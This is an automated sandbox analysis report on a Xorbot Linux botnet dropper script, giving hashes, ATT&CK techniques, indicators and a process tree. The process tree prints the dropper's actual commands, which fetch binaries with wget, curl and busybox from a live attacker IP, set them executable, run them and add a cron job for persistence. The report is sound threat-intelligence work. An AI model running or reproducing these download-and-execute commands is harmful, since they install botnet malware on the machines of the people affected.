xorbot | 1cfa441a888b8dcf421d19f836edc247355421e42d6f4e9adb579e3e55b2ff1e

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04/01/2025, 20:07

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General

Target

bins.sh
Size

10KB
MD5

24b2ac3e59f5d959842fd55121d3bdc9
SHA1

763ee9168932808f0f910a07eaec0cb840d640ad
SHA256

1cfa441a888b8dcf421d19f836edc247355421e42d6f4e9adb579e3e55b2ff1e
SHA512

f2945688e2a6c87ff40fb8dcdcf65ff6ed7b890107905f4c50fbe4c37962d2b8a4cd01f0912bc280e6ec54aa2375258344c2b6c959845d070e80d90c741903e0
SSDEEP

96:PC2UJJSHA2U0Wxt3tr3f8czKoMEn3nXqC2UJJxmLAnqU0Wxt6Lkr3f8c9gOrB2X9:NHDU0Wxt3hKoMEn3nwU0WxtwoMEn3I

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2229) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1498	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	1499	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Renames itself 1 IoCs

pid	Process
1500	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vYNPta	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1615/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/980/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1287/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1531/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1556/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1574/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/791/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1054/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1544/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1551/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1603/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/547/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1619/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1177/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1516/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1518/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1609/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1649/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/14/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/35/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/675/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1549/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/491/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1160/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1243/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/24/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/78/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/81/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/172/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/470/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1338/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1524/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1589/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1662/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/165/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1608/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1640/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1184/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1313/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1477/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/36/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/170/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/597/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1111/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1115/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1548/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1638/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1620/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/456/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/480/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1176/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1505/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1526/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1140/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1579/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1596/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/34/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/988/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1530/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1532/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1668/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/25/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
File opened for reading	/proc/1515/cmdline	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	wget
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	curl
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1483
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1484
- /usr/bin/wget
  wget http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Writes file to tmp directory
  PID:1485
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1499
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1501
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1502
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1503
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1504
- /bin/rm
  rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  PID:1509
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  PID:1510

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.vYNPta

Filesize
210B

MD5
968387301e75c2b0437b8db1fcd1a004

SHA1
a7d7d2556cd9e670a7c86ae2167a5d7f8ea642d2

SHA256
a03b02e1548d3f07e8dc5554a5cf4611f2e3cf6ea4fc7f156f88c761ab5b7b14

SHA512
c15b650ef166d84e32ebbb1d9bcfca1f53de96361345e74e8a2d4ef42b73ab4813c683643ae18a64c481ab235d2b54ba33d4a1e3bf60414192c28b651f0c133e

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads